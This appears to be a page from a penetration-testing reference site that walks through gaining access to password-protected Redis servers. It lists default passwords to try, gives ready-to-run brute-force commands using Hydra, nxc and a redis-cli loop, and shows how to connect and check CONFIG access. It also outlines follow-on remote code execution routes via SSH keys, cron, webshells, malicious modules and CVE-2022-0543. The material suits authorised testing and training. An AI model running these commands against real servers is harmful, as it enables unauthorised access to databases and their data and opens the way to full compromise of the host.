# Redis Authenticated Access – Password Brute Force and Login

- **URL:** https://hackindex.io/services/redis/exploitation/authenticated-access
- **Path:** Redis > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/redis/exploitation.md)
- **Published:** 2026-03-12
- **Updated:** 2026-07-10

When Redis requires authentication, a single password protects the entire instance: no usernames in Redis 5 and below, just one shared `requirepass` value. Redis 6 introduced ACL-based multi-user authentication. Weak or default passwords are extremely common. A successful login gives the same full access as an unauthenticated instance. Once authenticated, the next steps depend on what Redis allows:

- CONFIG access enabled: file write RCE via SSH keys, cron, or webshell
- MODULE command available: load a malicious `.so` for direct command execution
- Debian/Ubuntu target: CVE-2022-0543 Lua sandbox escape (no CONFIG needed)
- CONFIG disabled and no CVE: limited to data extraction from stored keys

## Step 1 - Confirm Authentication is Required

Connect and run PING:

```bash
redis-cli -h $TARGET_IP -p 6379 ping
# NOAUTH Authentication required.
#
```

Authentication is active. If it returns `PONG`, the instance is open: see [https://hackindex.io/services/redis/exploitation/unauthenticated-access](https://hackindex.io/services/redis/exploitation/unauthenticated-access) instead.

## Step 2 - Test Common Default Passwords First

Before running a wordlist, test the most common Redis passwords manually:

```bash
redis-cli -h $TARGET_IP -p 6379 -a foobared ping
redis-cli -h $TARGET_IP -p 6379 -a password ping
redis-cli -h $TARGET_IP -p 6379 -a redis ping
redis-cli -h $TARGET_IP -p 6379 -a 123456 ping
redis-cli -h $TARGET_IP -p 6379 -a "" ping
```

`foobared` is the example password in the default Redis config and is left in place more often than it should be.

## Step 3 - Brute Force with Hydra

```bash
hydra -P /usr/share/wordlists/rockyou.txt redis://$TARGET_IP
```

For a non-standard port:

```bash
hydra -P /usr/share/wordlists/rockyou.txt redis://$TARGET_IP:$PORT
# [6379][redis] host: 10.10.10.10   password: foobared
```

## Step 4 - Brute Force with nxc

```bash
nxc redis $TARGET_IP -p 6379 --pass-file /usr/share/wordlists/rockyou.txt
```

nxc gives cleaner output for Redis and handles threading more reliably than Hydra in some environments.

## Step 5 - Brute Force with redis-cli in a Loop

For a quick manual spray against a short list:

```bash
while read pass; do
  result=$(redis-cli -h $TARGET_IP -p 6379 -a "$pass" ping 2>/dev/null)
  if [ "$result" = "PONG" ]; then
    echo "[+] Found password: $pass"
    break
  fi
done < /usr/share/wordlists/rockyou.txt
```

## Step 6 - Connect with Found Password

```bash
redis-cli -h $TARGET_IP -p 6379 -a $PASSWORD
```

Or authenticate after connecting:

```bash
redis-cli -h $TARGET_IP -p 6379
# AUTH $PASSWORD
```

Confirm access:

```
ping
info server
```

## Step 7 - Verify CONFIG Access

CONFIG access is required for the most impactful exploitation paths. Check immediately:

```bash
redis-cli -h $TARGET_IP -p 6379 -a $PASSWORD config get dir
```

If CONFIG returns data, proceed with write-based RCE techniques. If CONFIG is disabled (returns `ERR unknown command`), you are limited to data extraction and Lua-based techniques. See [https://hackindex.io/services/redis/exploitation/cve-2022-0543](https://hackindex.io/services/redis/exploitation/cve-2022-0543) for CONFIG-free RCE on Debian/Ubuntu targets.

## Redis 6+ ACL Multi-User Authentication

Redis 6 and above supports named users via ACL. If the default user is locked, try common usernames:

```bash
redis-cli -h $TARGET_IP -p 6379
AUTH default $PASSWORD
AUTH admin $PASSWORD
AUTH redis $PASSWORD
```

List configured users if you gain access with any credential:

```bash
acl list
```

Each entry shows username, password hash, and permitted commands: useful for understanding what your account can and cannot do.

## References

- [Redis ACL Documentation](https://redis.io/docs/latest/operate/oss_and_stack/management/security/acl/) - ACL command reference and multi-user authentication for Redis 6+.